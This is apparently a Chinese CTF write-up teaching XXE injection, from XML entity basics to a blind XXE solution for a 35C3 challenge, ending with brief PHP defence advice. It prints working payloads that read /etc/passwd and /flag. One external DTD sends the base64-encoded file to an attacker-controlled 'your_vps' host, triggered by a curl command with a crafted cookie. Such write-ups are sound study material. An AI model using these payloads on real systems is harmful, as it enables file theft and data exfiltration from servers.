从两道CTF题目学习XXE漏洞

从两道CTF题目学习XXE漏洞

接触安全到现在,一直没有碰xxe相关的知识。一是觉得xml类型的东西太概念化了,二是觉得实用性不大,因为现在很少见到用xml形式来传输数据。不巧的是最近35CTF就有一道blind xxe题目,干脆把之前的坑填了,从零来学习一下XXE漏洞

XML相关知识

什么是XML

XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。

通俗点来说就是存储数据的一种格式

它的形式类似于html,都是标签闭合,且有根元素和子元素说法,例如note就是根元素,from和to都是子元素

什么是实体

实体有以下四种:

  • 内置实体 (Built-in entities)
  • 字符实体 (Character entities)
  • 通用实体 (General entities)
  • 参数实体 (Parameter entities)

实体根据引用方式,还可分为内部实体与外部实体。这里简要说一下内部实体和引发XXE漏洞的外部实体、参数实体

内部实体

即在xml文档中自定义一个实体
格式:<!ENTITY 实体名称 "实体的值">,这是一种引入形式,好比C中引入变量都要声明变量,只不过在XML里引入的不叫变量,而叫做实体

外部实体

格式:<!ENTITY 实体名称 SYSTEM "URI">,在xml里不给实体赋予具体的值,而是通过某URI引入,叫做外部实体引入

下面是支持使用的URI

关于外部实体引用file协议的例子如下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY  file SYSTEM "file:///etc/passwd">]>
<root>&file;</root>

参数实体

<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

外部引入参数实体的例子:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY % name SYSTEM "file:///etc/passwd">
    %name;
]>

注意:%name(参数实体)是在DTD中被引用的,而其余实体是在xml文档中被引用的。

什么是DTD

W3C定义:DTD即文档类型定义(document type define),可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

我理解的DTD是构建一个区域,声明在区域中要引入的实体\元素

内部声明DTD

语法:<!DOCTYPE 根元素 [元素声明]>

即在xml文档内部用DTD声明:我的根元素是root,在根元素下有to、from这些元素。

其实,你声明的元素和下面的元素名称不对应时也会进行解析。所以我觉得用DTD的用处就是给使用者一个目录栏,为了告诉他们下面的元素结构是什么样子的,而目录栏标题的名字是否正确不做强制要求。

PS:#PCDATA的意思是解析字符数据

外部声明DTD

语法:<!DOCTYPE 根元素 SYSTEM "文件名">,即引入外部的dtd声明,其中dtd文件就是引入的实体

XXE

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。

上文的外部实体引入部分,可以调用URI来加载数据,这也是造成漏洞点的地方。

有回显的XXE

jarvisoj平台上的题目

题目描述:请设法获得目标机器/home/ctf/flag.txt中的flag值

35CTF Blind XXE

这个是XXE漏洞能够利用的普遍场景,一般能利用XXE的地方有回显的机率几乎为0。利用blind xxe把数据外带到自己的服务器

代码分析

代码如下:

<?php
  function __autoload($cls) {
    include $cls;
  }

  class Black {
    public function __construct($string, $default, $keyword, $store) {
      if ($string) ini_set("highlight.string", "#0d0d0d");
      if ($default) ini_set("highlight.default", "#0d0d0d");
      if ($keyword) ini_set("highlight.keyword", "#0d0d0d");

      if ($store) {
            setcookie('theme', "Black-".$string."-".$default."-".$keyword, 0, '/');
      }
    }
  }

  class Green {
    public function __construct($string, $default, $keyword, $store) {
      if ($string) ini_set("highlight.string", "#00fb00");
      if ($default) ini_set("highlight.default", "#00fb00");
      if ($keyword) ini_set("highlight.keyword", "#00fb00");

      if ($store) {
            setcookie('theme', "Green-".$string."-".$default."-".$keyword, 0, '/');
      }
    }
  }

  if ($_=@$_GET['theme']) {
    if (in_array($_, ["Black", "Green"])) {
      if (@class_exists($_)) {
        ($string = @$_GET['string']) || $string = false;
        ($default = @$_GET['default']) || $default = false;
        ($keyword = @$_GET['keyword']) || $keyword = false;

        new $_($string, $default, $keyword, @$_GET['store']);
      }
    }
  } else if ($_=@$_COOKIE['theme']) {
    $args = explode('-', $_);
    if (class_exists($args[0])) {
      new $args[0]($args[1], $args[2], $args[3], '');
    }
  } else if ($_=@$_GET['info']) {
    phpinfo();
  }

  highlight_file(__FILE__);

关于代码逻辑部分简单说一下:

theme、string、default、keyword参数决定cookie,如果cookie存在则对cookie的四个参数以“-”号分割处理:把第一部分当作类名、其余三部分当作初始参数进行实例化。

__autoload()方法没什么用,因为php7.2+以后此方法被废弃了,而环境刚好是7.21,所以是出题人用来混淆的。

既然代码没什么可用的类,就看看能不能实例化可以用的php原生类,这里复盘,SimpleXMlElement可用

关于这个类的具体使用介绍:http://php.net/manual/zh/class.simplexmlelement.php

这里仅仅大致用法:

所以思路就是Blind XXE,让服务器远程解析我们服务器上的xml,获取的数据再次发送到我们的服务器上。

一开始构造xml的poc花了半天时间,主要踩了两个坑:

1、在内部DTD声明中,参数实体不能嵌套参数实体使用,即下方的用法是不允许的,:

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % file "hpdoger">
<!ENTITY % send SYSTEM 'http://vps/?file=%file;'>

%send;
]>

只能引入外部声明DTD才能进行参数实体嵌套使用,但是嵌套使用还必须满足下面的一个条件

2、 这点是key师傅点播到的:在引入外部DTD声明之后,想要嵌套其它参数实体就必须要用一个“中间参数实体”去搭桥,这个中间参数实体可以理解为eval。具体实现方法看下面的POC

POC

vps上的xml文件如下:

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % send SYSTEM 'http://your_vps/test2.dtd'>

%send;
%test;
%back;
]>

vps上的外部DTD声明文件test2.dtd如下:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">

<!ENTITY % test "<!ENTITY &#37; back SYSTEM 'http://your_vps/?file=%file;'>">

用Curl发送请求,–cookie指定请求cookie参数

curl -v --cookie "theme=SimpleXMlElement-http://your_vps/xxe.xml-2-true" "http://35.207.132.47:82"

查看web日志即能看到base64加密的flag

其中:

  • 外部实体send引入外部DTD声明
  • 参数实体test即为“中间参数实体”
  • %为了避免编码问题
  • base64-encode是防止文件内容有空格导致http传输时被截断

题外话

关于FUZZ

关于服务端接收请求,如果已经有lnmp的环境最好。没有的话,这里推荐两个项目:

  1. TheTwitchy:https://github.com/TheTwitchy/xxer

  2. docker快速搭建lnmp+ssh(自己的项目求start:):

https://github.com/Hpd0ger/docker-lnmp

关于XXE漏洞挖掘

XML作为介质传输流程应该是这样的:

用户传输敏感数据->xml形式传输->后端解析xml(loadXML)->将各DOM节点转化为SimpleXML节点(最终为数组形式,节点名为键名,节点值为键值)->提取对应节点键值->数据提取/用户判断

漏洞点就在后端解析xml。

当后端使用loadXML()的方法解析xml文档时,会解析恶意xml语句即外部实体的引用,从而造成漏洞。

在挖掘漏洞的时候尤其注意两点:

  1. content-type: application/xml
  2. xml形式的数据传输e.g:<user>admin</user>

关于防御

  1. 对于PHP,禁止引用外部实体

    libxml_disable_entity_loader(true);
  2. 对于其它语言,其实做好过滤就行了。但是很少见到用xml形式的数据传输了..说多了也没啥用

not found!